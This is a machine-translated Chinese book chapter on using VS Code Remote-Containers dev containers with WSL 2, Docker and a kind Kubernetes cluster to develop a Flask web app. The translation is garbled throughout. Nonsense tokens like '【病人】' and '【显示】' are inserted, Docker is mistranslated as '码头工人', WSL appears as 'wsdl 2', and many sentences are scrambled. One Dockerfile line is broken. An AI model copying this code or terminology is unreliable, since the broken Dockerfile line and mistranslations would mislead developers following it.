扩展包的一部分。 这些扩展的所有都允许您将用户界面方面从代码交互中分离出来,例如加载、运行和调试代码。 Remote-Containers,我们指示 Visual Studio Code 运行这些代码交互作用在一个容器,在【显示】我们定义 Dockerfile(见[*第七章【病人】*](07.html#_idTextAnchor082),*处理容器在 WSL*,【t16.1】引入 Dockerfiles 部分)。 - -当 Visual Studio Code 将我们的项目加载到开发容器中时,它会经历以下步骤: - -1. 从 Dockerfile 构建容器映像 -2. 使用生成的映像运行容器,将源代码挂载到容器中 -3. 在容器中安装 VS 代码服务器,供用户界面连接 - -通过这些步骤,我们得到一个包含 Dockerfile 描述的依赖项的容器映像。 通过将代码挂载到容器中,就可以在容器中使用代码,但是只有一个代码副本。 - -在开发项目中,通常有一个需要安装的工具或先决条件列表,以便在项目文档中为使用项目准备环境。 如果你真的很幸运,这个列表甚至会是最新的! 通过使用*dev 容器*,我们可以将文档中的工具列表替换为 Dockerfile 中为我们执行这些步骤的一组步骤。 因为这些映像可以重新构建,所以安装工具的标准方式现在变成了 Dockerfile。 由于这是源代码控制的一部分,所需工具中的这些更改将与其他开发人员共享,这些开发人员可以简单地从 Dockerfile 重新构建他们的开发容器映像,以更新他们的工具集。 - -开发容器的另一个好处是,依赖项安装在容器中,因此是隔离的。 这允许我们使用相同工具的不同版本(例如 Python 或 Java)为不同的项目创建容器,而不会产生冲突。 这种隔离还允许我们在项目之间独立地更新工具版本。 - -让我们看看如何安装 Remote-Containers 扩展。 - -# 安装远程容器 - -要使用 Remote-Containers 扩展,您需要安装它,还需要安装 Docker 并在 WSL 中访问它。 请参见[*第七章*](07.html#_idTextAnchor082),*在 WSL 中与容器一起工作*,*在 WSL*中安装和使用 Docker。 如果您已经安装了 Docker Desktop,请确保配置为使用**基于 WSL 2 的引擎**。 wsdl 2 引擎使用在 wsdl 2 中运行的 Docker 守护进程,因此您的代码文件(来自 wsdl 2)可以直接挂载在容器中,而无需通过 linux 到 windows 的文件共享。 这种直接挂载为您提供了更好的性能,确保正确地处理文件事件,并使用相同的文件缓存(更多详细信息请参阅本文:[https://www.docker.com/blog/docker-desktop-wsl-2-best-practices/)](https://www.docker.com/blog/docker-desktop-wsl-2-best-practices/))。 - -一旦您配置了 Docker,下一步就是安装 Remote-Containers 扩展。 你可以在 Visual Studio Code 的**EXTENSIONS**视图中搜索`Remote-Containers`,或者从[https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers)中搜索。 - -安装了扩展后,让我们看看如何创建一个开发容器。 - -# 创建 dev 容器 - -要将 dev 容器添加到项目中,我们需要创建一个带有两个文件的`.devcontainer`文件夹: - -* 描述要构建和运行的容器映像 -* `devcontainer.json`添加额外配置 - -这种文件组合将为我们提供一个单容器配置。 Remote-Containers 还支持使用**multi-container 配置码头工人组成**[(见 https://code.visualstudio.com/docs/remote/create-dev-container _using-docker-compose](https://code.visualstudio.com/docs/remote/create-dev-container#_using-docker-compose)),但我们会关注本章 single-container 场景。 - -本书附带的代码包含一个示例项目,我们将使用它来探索开发容器。 确保从 Linux 发行版中的[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)克隆代码。 一旦代码被克隆,打开 Visual Studio code 中的`chapter-10/01-web-app`文件夹(还有一个`chapter-10/02-web-app-completed`文件夹,其中包含本节中的所有步骤作为参考)。 这个示例代码还没有开发容器定义,所以让我们看看如何添加它。 - -## 添加并打开一个开发容器定义 - -开发容器的第一个步骤是创建**开发容器定义**,而 Remote-Containers 扩展在这里提供了一些帮助。 在 Visual Studio Code 中打开示例项目,从命令面板中选择**Remote-Containers: Add Development Container Configuration Files…**,然后提示您选择一个配置: - -![Figure 10.1 – A screenshot showing the list of dev container configurations ](img/Figure_10.1_B16412.jpg) - -图 10.1 -显示开发容器配置列表的屏幕截图 - -如这个屏幕截图中的所示,我们可以从预定义的开发容器配置开始。 对于示例项目,选择**Python 3**。 这将创建带有`devcontainer.json`和`Dockerfile`的`.devcontainer`文件夹,以用于使用 Python 3。 一旦这些文件被添加,你应该会看到以下提示: - -![Figure 10.2 – A screenshot showing the Reopen in Container prompt ](img/Figure_10.2_B16412.jpg) - -图 10.2 -显示“在容器中重新开放”提示的屏幕截图 - -当 Visual Studio Code 检测到您打开了带有开发容器定义的文件夹时,将出现此提示。 单击**在容器**中重新打开开发容器中的文件夹。 如果您错过了提示符,您可以使用命令面板中的**Remote-Containers: open in Container**命令来实现相同的目的。 - -选择在容器中重新打开文件夹后,Visual Studio Code 将重新启动并开始构建容器映像以运行代码服务器。 你会看到一个通知: - -![Figure 10.3 – A screenshot showing the Starting with Dev Container notification ](img/Figure_10.3_B16412.jpg) - -图 10.3 -显示 start with Dev Container 通知的截图 - -这个屏幕截图显示了开发容器正在启动的通知。 如果单击通知,将被转到**TERMINAL**视图中的**Dev Containers**窗格。 显示构建和运行容器的命令和输出。 当您开始自定义开发容器定义时,此窗口对于调试场景非常有用,比如您的容器映像无法构建时。 现在我们已经在开发容器中打开了项目,让我们开始探索它。 - -## 在开发容器中工作 - -一旦 dev 容器已建成并开始,您将看到示例代码的内容在**EXPLORER 视图和窗口将看起来非常类似于 Visual Studio Code 走查在前面的章节中,用一个简单的 Python web 应用使用**瓶**。 在窗口左下角的,您应该看到**Dev Container: Python 3**,这表明窗口正在使用*Dev 容器*。 您可以通过在`devcontainer.json`中编辑`name`属性来更改名称(**Python 3**):** - -```sh -{ - "name": "chapter-10-01-web-app", -... -``` - -在这段来自`devcontainer.json`的代码片段中,开发容器名称已更改为`chapter-10-01-web-app`。 此更改将在下次构建和加载开发容器时生效。 设置有意义的名称是特别有帮助的,如果您有时在任何时候加载多个开发容器,它显示在窗口标题。 - -接下来,让我们打开`app.py`文件,其中包含示例的应用代码: - -![Figure 10.4 – A screenshot showing an import error in app.py ](img/Figure_10.4_B16412.jpg) - -图 10.4 -在 app.py 中显示导入错误的截图 - -在这个屏幕截图中,您可以看到在导入 Flask 包的行下面有一个红色的下划线,它显示在 Python 扩展加载并处理该文件之后。 此错误表明 Python 无法找到 Flask 包。 希望这是有意义的——所有的工具都运行在安装了 Python 的容器中,除此之外什么都没有。 让我们快速解决这个问题。 使用*Ctrl*+*'*(反勾号)或**视图打开集成终端:通过命令面板切换集成终端**。 这在 Visual Studio Code 中提供了一个终端视图,终端运行在开发容器中。 从终端,运行`pip3 install -r requirements.txt`来安装`requirements.txt`中列出的要求(包括 Flask)。 安装了要求后,Python 语言服务器最终将更新以删除红色下划线警告。 - -在本章的后面,我们将看看如何在构建容器时自动安装需求,以提供更平滑的体验; 但是现在一切就绪,让我们运行代码。 - -## 运行代码 - -示例代码包含一个`.vscode/launch.json`文件,描述如何启动我们的代码。 这个文件允许我们配置一些东西,比如传递给进程的命令行参数和应该设置的环境变量。 介绍`launch.json`和从头开始创建一个,看到[*第 9 章*](09.html#_idTextAnchor111),*Visual Studio Code 和 WSL【显示】,**调试我们的程序部分。* - -使用`launch.json`,我们可以简单地按*F5*在调试器下启动应用。 如果您想查看交互式调试器的运行情况,可以使用*F9*设置一个断点(`get_os_info`函数中的`return`语句是一个很好的选择)。 - -启动后,您将看到在**TERMINAL**视图中执行的调试器命令和相应的输出: - -```sh -* Serving Flask app "app.py" - * Environment: development - * Debug mode: off - * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) -``` - -在这个输出中,您可以看到应用启动并显示它正在监听的地址和端口(`http://127.0.0.1:5000`)。 当您将鼠标悬停在该地址上时,您将看到一个弹出窗口,显示您可以使用*Ctrl*+单击来打开该链接。 这样做将在该地址启动默认的 Windows 浏览器,如果设置了断点,您将发现代码已经在该点暂停,以便您检查变量等等。 一旦你完成了调试器的探索,按下*F5*继续执行,你将在浏览器中看到呈现的响应: - -![Figure 10.5 – A screenshot showing the web page from the Python app in the Windows browser ](img/Figure_10.5_B16412.jpg) - -图 10.5 -在 Windows 浏览器中显示 Python 应用的网页截图 - -这截图显示了浏览器与 web 页面从我们的 Python 应用加载。注意到主机名(截图`831c04e3574c`,但您将会看到一个不同的 ID 作为它改变为每个容器),即短容器 ID 设置为主机名在容器的实例应用正在运行。 我们能够从 Windows 加载网页,因为 Remote-Containers 扩展自动为我们设置端口转发。 这个端口转发在 Windows 上监听端口`5000`,并将流量转发到容器中的`5000`,我们的 Python 应用正在监听和响应。 - -现在,我们有了一个在 Docker 中以 WSL 运行的容器,所有的开发人员工具(包括 Python 和 Visual Studio Code 服务器)都在运行,我们能够以我们所期望的丰富的、交互式的方式来处理代码。 我们可以很容易地在调试器中启动代码,逐步检查代码并检查变量,然后与我们的 Windows web 应用交互。 所有这些都像代码在主机上运行一样顺利,但是我们拥有开发容器带给我们的开发环境的隔离和自动化的所有优势。 - -接下来,我们将探索在开发容器中将应用打包和作为容器使用时如何定制开发容器定义。 - -# 在开发容器中使用容器化的应用 - -到目前为止,我们已经看到了如何使用开发容器来开发应用,但是如果我们想开发一个应用,它本身将被打包并在容器中运行,可能是在 Kubernetes 中呢? 在本节中,我们将重点关注这个场景,看看如何从开发容器内部为我们的应用构建和运行容器映像。 - -我们将再次使用本书附带的代码作为本节的起点。 确保您从 Linux 发行版中的[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)克隆代码。 一旦代码被克隆,打开 Visual Studio code 中的`chapter-10/03-web-app-kind`文件夹(还有一个`chapter-10/04-web-app-kind-completed`文件夹,其中包含本节中的所有步骤作为参考)。 `03-web-app-kind`文件夹中包含一个 web 应用,它与我们刚刚使用的那个非常相似,但是添加了一些额外的文件,以帮助我们在本章后面的部分将该应用集成到 Kubernetes 中。 - -使我们在码头工人与应用,我们需要经过几个步骤类似于我们在[*第七章*](07.html#_idTextAnchor082),*处理容器在 WSL*,在【显示】构建和运行一个 web 应用在码头工人部分,除了这一次,我们将在我们的开发工作容器: - -1. 在开发容器中设置 Docker。 -2. 构建应用 Docker 映像。 -3. 运行应用容器。 - -让我们从如何设置开发容器开始,以允许我们构建应用容器映像。 - -## 在 dev 容器中设置 Docker - -启用 Docker 映像构建的第一个步骤是安装`docker`**命令行界面**(**CLI**)。 为了做到这一点,我们将从 Docker 文档([https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository](https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository))中获取安装步骤,并将其应用到我们的 Dockerfile 中。 在 Visual Studio Code 中打开`.devcontainer/Dockerfile`并添加以下内容: - -```sh -RUN apt-get update \ - && export -DEBIAN_FRONTEND=noninteractive \" - # Install docker - && apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common lsb-release \ - && curl -fsSL https://download.docker.com/linux/$(lsb_release -is | tr '[:upper:]' '[:lower:]')/gpg | apt-key add - 2>/dev/null \ - && add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/$(lsb_release -is | tr '[:upper:]' '[:lower:]') $(lsb_release -cs) stable" \ - && apt-get update \ - && apt-get install -y docker-ce-cli \ - # Install docker (END) - # Install icu-devtools - && apt-get install -y icu-devtools \ - # Clean up - && apt-get autoremove -y \ - && apt-get clean -y \ - && rm -rf /var/lib/apt/lists/* -``` - -在这个代码片段中,请注意`# Install docker`和`# Install docker (END)`之间的行。 添加这些行是为了遵循 Docker 文档中添加`apt`存储库的步骤,然后将该存储库使用到`apt-get install``docker-ce-cli`包。 此时,重新构建并打开开发容器将为您提供一个带有`docker`CLI 的环境,但没有用于与之通信的守护进程。 - -我们用在主机上设置 Docker, Visual StudioCode 使用 Docker 守护进程来构建和运行我们用于开发的开发容器。 为了在容器中构建并运行 Docker 映像,您可以考虑在开发容器中安装 Docker。 这是可能的,但可能会变得相当复杂,并增加性能问题。 相反,我们将从 dev 容器中的主机重用 Docker 守护进程。 在 Linux 上,与 Docker 的默认通信是通过`/var/run/docker.sock`套接字。 通过`docker`命令行运行容器时,可以通过`--mounts`交换机([https://docs.docker.com/storage/bind-mounts/](https://docs.docker.com/storage/bind-mounts/))挂载插座。 对于 dev 容器,我们可以在`.devcontainer/devcontainer.json`中使用`mounts`属性来指定: - -```sh -"mounts": [ - // mount the host docker socket (for Kind and docker builds) - "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" -], -``` - -这个片段显示了`devcontainer.json`中的`mounts`属性,它指定了 Visual Studio Code 在运行我们的开发容器时将使用的挂载。 这个属性是一个挂载字符串数组,在这里我们指定了需要一个`bind`挂载(即来自主机的挂载),它将主机上的`/var/run/docker.sock`挂载到 dev 容器内相同的值。 这样做的效果是使主机上的 Docker 守护进程的套接字在 dev 容器中可用。 - -此时,在命令面板中使用**Remote-Containers: open in Container**命令将为您提供一个带有`docker`CLI 的开发容器,以便您在终端中使用。 你运行的任何`docker`命令都将在 Docker Desktop 守护进程上执行; 所以,例如,运行`docker ps`来列出容器将在其输出中包含开发容器: - -```sh -# docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -6471387cf184 vsc-03-web-app-kind-44349e1930d9193efc2813 97a394662f "/bin/sh -c 'echo Co…" 54 seconds ago Up 53 seconds -``` - -在 dev 容器的终端中执行`docker ps`的输出包含了 dev 容器本身,确认 Docker 命令正在连接到主机 Docker 守护进程。 - -提示 - -如果在更新 Dockerfile 和`devcontainer.json`之前(或者在任何修改这些文件的时候)已经打开了 dev 容器,那么可以运行**Remote-Containers: Rebuild and open in container**命令。 这个命令将重新运行开发容器的构建过程,然后重新打开它,将您的更改应用到开发容器。 - -现在我们已经安装并配置了 Docker,接下来让我们为应用构建容器映像。 - -## 构建应用 Docker 映像 - -要为我们的应用构建 Docker 映像,我们可以运行`docker build`命令。 由于 Docker CLI 被配置为与主机 Docker 守护进程对话,所以我们在 dev 容器中构建的任何映像实际上都是在主机上构建的。 这消除了一些您可能期望从开发容器中获得的隔离,但我们可以通过确保使用的映像名称是唯一的来解决这个问题,以避免与其他项目发生名称冲突。 - -示例代码在根文件夹中已经有一个 Dockerfile,我们将使用它来构建应用的 Docker 映像(不要与用于构建开发容器的`.devcontainer/Dockerfile`混淆)。 Dockerfile 构建在`python`基础映像上,然后复制我们的源代码并配置启动命令。 关于 Dockerfile 的更多细节,请参考[*第七章*](07.html#_idTextAnchor082),*在 WSL 中使用容器*,*介绍 Dockerfiles*章节。 - -要构建应用映像,像我们在本章前面所做的那样,打开集成终端,并运行以下命令来构建容器映像: - -```sh -docker build -t simple-python-app-2:v1 -f Dockerfile . -``` - -该命令将提取 Python 映像(如果不存在),并在输出`Successfully tagged simple-python-app-2:v1`之前运行 Dockerfile 中的每个步骤。 - -现在我们已经构建了应用映像,让我们运行它。 - -## 运行应用容器 - -要运行映像,我们将使用`docker run`命令。 在 Visual Studio Code 的集成终端中,运行以下命令: - -```sh -# docker run -d --network=container:$HOSTNAME --name chapter-10-example simple-python-app-2:v1 -ffb7a38fc8e9f86a8dd50ed197ac1a202ea7347773921de6a34b93cec 54a1d95 -``` - -在这个输出中,您可以看到我们正在使用前面构建的`simple-python-app-2:v1`映像运行一个名为`chapter-10-example`的容器。 我们指定了——`network=container:$HOSTNAME`,它将新创建的容器与开发容器放在同一个 Docker 网络上。 注意,我们使用`$HOSTNAME`指定的 ID dev 容器自容器 ID 用作机器名称在运行容器(正如我们在[*看到第七章【显示】*](07.html#_idTextAnchor082)*,以 WSL 处理容器,在构建和运行*【病人】一个 web 应用在码头工人部分)。 有关`--network`开关的更多信息,请参见[https://docs.docker.com/engine/reference/run/#network-settings](https://docs.docker.com/engine/reference/run/#network-settings)。 我们可以确认我们可以通过在集成终端运行`curl`来访问运行容器中的 web 应用: - -```sh -# curl localhost:5000 -

Hello from Linux (4.19.104-microsoft-standard) on ffb7a38fc8e9

-``` - -在这个输出中,您可以看到 web 应用响应`curl`命令的 HTML 响应。 这确认了我们可以从开发容器内部访问应用。 - -如果你试图从 Windows 的浏览器访问 web 应用,它将无法连接。 这是因为来自 web 应用的容器端口已经映射到 Docker 网络中作为开发容器。 幸运的是,Remote-Containers 提供了一个**转发端口**命令,允许我们将端口从 dev 容器内部转发到主机。 通过执行此命令并指定端口`5000`,可以使 Windows 中的 web 浏览器也可以访问容器中运行的 web 应用。 - -对于您想要定期在主机上以这种方式访问的 dev 容器端口,可以方便地更新`devcontainer.json`: - -```sh -"forwardPorts": [ - 5000 -] -``` - -在这个片段中,您可以看到`forwardPorts`属性。 这是一个端口数组,您可以将其配置为在运行开发容器时自动转发,以节省每次转发它们的手动步骤。 - -**注** - -作为使用`--network`交换机运行 web 应用容器的替代方案,我们可以将开发容器配置为使用主机网络(使用`--network=host`,如下一节所示)。 通过这种方法,dev 容器重用了与主机相同的网络堆栈,所以我们可以使用以下命令运行我们的 web 应用容器: - -`docker run -d -p 5000:5000 --name chapter-10-example simple-python-app-2:v1` - -在这个命令中,我们使用了`-p 5000:5000`暴露 web 应用端口 5000 的主机作为我们看到[*第七章*【4】【5】,以 WSL 处理容器,在码头工人的构建和运行一个 web 应用部分。](07.html#_idTextAnchor082) - -现在,我们已经设置了开发容器来连接主机上的 Docker,并使用我们安装在开发容器中的 Docker CLI 来构建和运行映像。 现在我们已经测试了为我们的 web 应用构建一个容器映像,并检查了它的运行是否正确,让我们看看在 Kubernetes 中运行它,同时从我们的开发容器中工作。 - -# 在开发容器中使用 Kubernetes - -现在,已经为我们的 web 应用创建了一个容器映像,我们可以从开发容器中构建它,接下来我们将看看在 Kubernetes 中运行应用所需的步骤。 这一节相当高级(特别是如果您不熟悉 Kubernetes 的话),所以您可以直接跳到使用开发容器的*技巧*一节,稍后再回到这一节。 - -让我们首先看看如何设置使用 Kubernetes 的开发容器。 - -## 带开发容器的 Kubernetes 选项 - -在 WSL 中有许多与 Kubernetes 一起工作的选项。 常见的选项在[*第 7 章*](07.html#_idTextAnchor082),*在 WSL 中使用容器*,*在 WSL 中设置 Kubernetes*节中概述。 在那一章中,我们在 Docker Desktop 中使用了 Kubernetes 集成,这是一种设置 Kubernetes 的低阻力方式。 这种方法也可以用在开发容器上,只需几个步骤(假设你已经启用了 Docker 桌面集成): - -1. 挂载一个卷,将`~/.kube`文件夹从 WSL 映射到开发容器作为`/root/.kube`,以共享连接 Kubernetes API 的配置。 -2. 安装`kubectl`CLI,在开发容器 Dockerfile 中使用 Kubernetes 作为一个步骤。 - -第一步使用`devcontainer.json`中的挂载,正如我们在前一节中看到的(引用用户主文件夹的标准实践是使用环境变量——例如`${env:HOME}${env:USERPROFILE}/.kube`)。 稍后我们将介绍安装`kubectl`的第二步。 在这一章中,我们将探索 Kubernetes 的另一种方法,但是在这本书的代码中有一个`chapter10/05-web-app-desktop-k8s`文件夹,其中包含了完成这两个步骤的开发容器。 - -虽然 Docker Desktop Kubernetes 集成很方便,但它对主机配置增加了额外的要求。 默认情况下,开发容器只需要安装带有 Remote-Containers 的 Visual Studio Code 并运行 Docker 守护进程,其余的项目需求由开发容器的内容来满足。 Docker Desktop 中对 Kubernetes 集成的要求会略微降低开发容器的可移植性。 另一个需要考虑的问题是,使用 Docker Desktop 集成意味着您使用的是在您的机器上共享的*Kubernetes 集群*。 当您的项目涉及创建 Kubernetes 集成(例如操作符或其他可能应用策略的组件)时,这种隔离的损失可能特别相关。 `kind`项目([https://kind.sigs.k8s.io/)提供了另一种方法,让我们轻松地创建和管理 Kubernetes 集群在 dev 容器使用【显示】码头工人(事实上,*是【病人】*K*ubernetes*【t16.1】*D*内涵)。 如果你计划在**持续集成**(**CI**)构建中重用你的开发容器,这种方法也能很好地工作。 让我们看看在开发容器中设置`kind`。**](https://kind.sigs.k8s.io/) - - *## 在开发容器中设置类型 - -在本节中,我们将介绍在开发容器中安装`kind`(和`kubectl`)的步骤。 这将允许我们在开发容器的中使用`kind`CLI 创建 Kubernetes 集群,然后使用`kubectl`访问它们。 为此,我们需要做到以下几点: - -* 在 dev 容器 Dockerfile 中添加安装`kind`和`kubectl`的步骤。 -* 更新`devcontainer.json`以启用连接`kind`集群。 - -要安装`kind`,请打开`.devcontainer/Dockerfile`并添加以下`RUN`命令(在以`apt-get update`开头的`RUN`命令之后): - -```sh -# Install Kind -RUN curl -Lo ./kind https://github.com/kubernetes-sigs/kind/releases/download/v0.8.1/kind-linux-amd64 && \ - chmod +x ./kind && \ - mv ./kind /usr/local/bin/kind -``` - -此代码片段中的`RUN`命令遵循安装`kind`([https://kind.sigs.k8s.io/docs/user/quick-start/#installation](https://kind.sigs.k8s.io/docs/user/quick-start/#installation))的文档,并使用`curl`下载`kind`的发布二进制文件。 - -将下面的`RUN`命令放在前面的命令之后,安装`kubectl`: - -```sh -# Install kubectl -RUN curl -sSL -o /usr/local/bin/kubectl https://storage.googleapis.com/kubernetes-release/release/v1.19.0/bin/linux/amd64/kubectl \ - && chmod +x /usr/local/bin/kubectl -``` - -此`RUN`步骤根据文档([https://kubernetes.io/docs/tasks/tools/install-kubectl/](https://kubernetes.io/docs/tasks/tools/install-kubectl/))安装`kubectl`。 第一个命令使用`curl`下载发布二进制文件(本例中为`1.19.0`版本)。 第二个命令使下载的二进制文件可执行。 - -现在我们已经为`kind`和`kubectl`配置了安装,我们需要对`.devcontainer/devcontainer.json`进行一些更改。 第一个是在 dev 容器中为`.kube`文件夹添加一个卷: - -```sh -"mounts": [ - // mount a volume for kube config - "source=04-web-app-kind-completed-kube,target=/root/.kube,type=volume", - // mount the host docker socket (for Kind and docker builds) - "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" -], -``` - -这段代码显示了`mounts`属性,我们以前使用该属性将主机的 Docker 套接字与一个新挂载绑定,该挂载配置为创建一个以 dev 容器中的`/root/.kube`文件夹为目标的卷。 当我们运行`kind`来创建 Kubernetes 集群时,它将在这个文件夹中保存与集群通信的配置。 通过添加卷,我们确保该文件夹的内容在开发容器的实例(和重建)之间持久存在,以便我们仍然可以连接到 Kubernetes 集群。 - -正如前面提到的,**类**代表 Docker 中的**Kubernetes,它在 Docker 中作为容器运行**节点**。 `kind`生成的配置将 Kubernetes API 端点列出为`127.0.0.1`(本地 IP 地址)。 这是指主机,但是 dev 容器默认在一个隔离的 Docker 网络上。 为了通过`kind`生成的配置,使开发容器能够访问 Kubernetes API,我们可以通过更新`.devcontainer/devcontainer.json`将开发容器放入主机网络模式:** - -```sh -"runArgs": [ - // use host networking (to allow connecting to Kind clusters) - "--network=host" -], -``` - -在此代码片段中,您可以看到`runArgs`属性。 这允许我们配置其他参数,以便 remote - container 在启动开发容器时传递给`docker run`命令。 这里,我们设置了`--network=host`选项,该选项将容器运行在与主机相同的网络空间中(请参阅[https://docs.docker.com/engine/reference/run/#network-settings](https://docs.docker.com/engine/reference/run/#network-settings)以了解更多细节)。 - -有了这些更改,我们可以重新构建并重新打开开发容器,我们就可以创建一个 Kubernetes 集群并在其中运行我们的应用了! - -## 在 Kubernetes 集群中运行我们的应用 - -我们现在已经准备好了的所有部分,可以在我们的开发容器中创建一个 Kubernetes 集群。 要创建集群,我们将在集成终端上使用`kind`命令行: - -![Figure 10.6 – A screenshot showing kind cluster creation ](img/Figure_10.6_B16412.jpg) - -图 10.6 -显示创建类型集群的屏幕截图 - -在这里,您可以看到运行`kind create cluster --name chapter-10-03`的输出。 `kind`CLI 负责为尚未出现的节点提取容器映像,然后在执行设置集群的步骤时更新输出。 默认情况下,`kind`创建一个单节点集群,但是有一系列配置选项,其中包括设置多节点集群(参见[https://kind.sigs.k8s.io/docs/user/configuration/](https://kind.sigs.k8s.io/docs/user/configuration/))。 - -现在,我们可以使用这个集群来运行我们的应用(假设您已经在前一节中构建了容器映像; 如果不是,执行`docker build -t simple-python-app-2:v1 -f Dockerfile.`)。 - -为了使我们的应用的容器映像在`kind`集群中可用,我们需要运行`kind load`(参见[https://kind.sigs.k8s.io/docs/user/quick-start/#loading-an-image-into-your-cluster](https://kind.sigs.k8s.io/docs/user/quick-start/#loading-an-image-into-your-cluster)): - -```sh -# kind load docker-image --name chapter-10-03 simple-python-app-2:v1 -Image: "simple-python-app-2:v1" with ID "sha256:7c085e8bde177aa0abd02c36da2cdc68238e672f49f0c9b888581b 9602e6e093" not yet present on node "chapter-10-03-control-plane", loading... -``` - -这里,我们使用`kind load`命令将`simple-python-app-2:v1`映像加载到我们创建的`chapter-10-03`集群中。 这会将映像加载到集群中的所有节点上,以便我们在 Kubernetes 中创建部署时可以使用它。 - -样例应用中的`manifests`文件夹包含在 Kubernetes 中配置应用的定义。 参考[*第七章*](07.html#_idTextAnchor082),*处理容器在 WSL*,【显示】运行一个 web 应用在 Kubernetes 部分,介绍,解释一个非常类似的应用的部署文件。 我们可以使用`kubectl`将应用部署到 Kubernetes: - -```sh -# kubectl apply -f manifests/ -deployment.apps/chapter-10-example created -service/chapter-10-example created -``` - -在这里,我们使用`kubectl apply`和`-f`开关将加载清单的路径传递给它。 在本例中,我们指定了`manifests`文件夹,以便`kubectl`应用该文件夹中的所有文件。 - -我们的 web 应用现在在`kind`集群的一个节点上运行,而我们刚刚应用的配置在前面创建了一个 Kubernetes 服务来暴露`5000`端口。 该服务仅在`kind`集群中可用,因此我们需要运行`kubectl port-forward`将本地端口转发给该服务: - -```sh -# kubectl port-forward service/chapter-10-example 5000 -Forwarding from 127.0.0.1:5000 -> 5000 -Forwarding from [::1]:5000 -> 5000 -``` - -在输出中,您可以看到用于指定`service/chapter-10-03-example`服务为目标的`kubectl port-forward`命令,以及指定`5000`为我们想要转发的端口。 这将设置从 dev 容器中的本地端口`5000`到服务上的端口`5000`的端口转发,用于在`kind`中运行的应用。 - -如果您创建了一个新的集成终端(通过单击集成终端右上角的加号),您可以使用它运行一个`curl`命令来验证服务是否正在运行: - -```sh -# curl localhost:5000 -

Hello from Linux (4.19.104-microsoft-standard) on chapter-10-example-99c88ff47-k7599

-``` - -该输出显示了从开发容器内部运行`curl localhost:5000`,并使用`kubectl`端口转发访问部署在`kind`集群中的 web 应用。 - -当我们在本章前面使用 Docker 的应用时,我们在`devcontainer.json`中配置了`forwardPorts`属性来转发`5000`端口。 这意味着 Visual Studio Code 已经设置将 Windows 上的`5000`端口转发到我们的开发容器中的`5000`端口。 在 dev 容器中,发送到端口`5000`的任何流量都将由我们刚才运行的`kubectl`端口转发命令处理,并将被转发到 Kubernetes 服务上的端口`5000`。 这意味着我们可以在 Windows 的浏览器中打开`http://localhost:5000`: - -![Figure 10.7 – A screenshot with the Windows browser showing the app in Kubernetes ](img/Figure_10.7_B16412.jpg) - -图 10.7 - Windows 浏览器显示 Kubernetes 应用的截图 - -在这张截图中,我们可以看到 Windows 浏览器通过`http://localhost:5000`访问 Kubernetes 中的应用。 这是因为 Visual Studio Code 将 Windows 端口`5000`转发到开发容器内的`5000`端口,该端口由`kubectl port-forward`处理,并转发到我们为应用部署的 Kubernetes 服务。 - -在本节中,我们使用 Visual Studio Code,**Remote-Containers*,*和*码头工人创造一个集装箱使用 web 应用的开发环境。我们看到了如何使用这个构建和运行容器图片为我们的 web 应用, 然后创建一个 Kubernetes 集群,并在集群中部署和测试我们的应用,包括如何从 Windows 主机上的浏览器访问在 Kubernetes 中运行的 web 应用。 我们在没有向主机添加任何进一步需求的情况下实现了所有这些功能,这使它成为一个可移植的解决方案,对于任何使用 Visual Studio Code 和 Docker 的人来说,都可以快速地在自己的机器上启动和运行。* - -在本章的最后一节,我们将讨论一些使用开发容器的生产力技巧。 - -# 使用开发容器的技巧 - -在这个部分中,我们将看看一些技巧,这些技巧可以用来调整使用开发容器的体验。 让我们先来看看在构建完开发容器之后,如何在其内部自动化步骤。 - -## postCreateCommand 和自动 pip 安装 - -早期的例子在这一章本章早些时候例子,我们不得不运行`pip install`建筑 dev 容器后,这是需要每次重建 dev 容器更改后其配置。 为了避免这种情况,可能会倾向于在开发容器 Dockerfile 中添加一个`RUN`步骤来执行`pip install`,但我不喜欢将应用包放入开发容器映像中。 应用包依赖关系往往会随着时间的推移而演变,将它们构建到映像中(并重新构建映像以便安装)感觉有点重量级。 随着时间的推移,在使用开发容器时,我的经验是在开发容器映像中安装工具,并在运行后在开发容器中安装应用包。 幸运的是,开发容器提供了一个可以在`devcontainer.json`中配置的`postCreateCommand`选项: - -```sh -// Use 'postCreateCommand' to run commands after the container is created. -"postCreateCommand": "pip3 install -r requirements.txt", -``` - -此代码片段显示配置为运行`pip install`步骤的`postCreateCommand`。 Visual Studio Code 在重建映像后启动开发容器时将自动运行`postCreateCommand`。 - -如果您想要运行多个命令,您可以将它们组合为`command1 && command2`,或者将它们放在一个脚本文件中,然后从`postCreateCommand`运行脚本。 - -在我们研究自动化开发容器任务的设置时,让我们再来看看端口转发。 - -## 端口转发 - -本章早些时候,我们使用的端口转发 Visual Studio Code 将选择 Windows 主机的流量转发到 dev 容器——例如,允许 Windows 浏览器连接到容器中运行的 web 应用开发。 建立端口转发的一种方法是使用**转发端口**命令,该命令将提示您转发端口。 每次启动 dev 容器时,都必须重新配置此端口转发。 另一种方法是将其加入`devcontainer.json`: - -```sh -// Use 'forwardPorts' to make a list of ports inside the container available locally. -"forwardPorts": [ - 5000, - 5001 -] -``` - -在这个代码片段中,我们在`forwardPorts`属性中指定了端口`5000`和`5001`。 当 Visual Studio Code 启动开发容器时,它会自动为我们转发这些端口,帮助我们顺利完成工作流程。 - -要查看哪些端口正在被转发,请切换到**REMOTE EXPLORER**视图(例如,通过运行**REMOTE EXPLORER: Focus on forwarding ports view**命令): - -![Figure 10.8 – A screenshot showing the forwarded ports view ](img/Figure_10.8_B16412.jpg) - -图 10.8 -显示转发端口视图的截图 - -在这个屏幕截图中,您可以看到当前配置的转发端口列表。 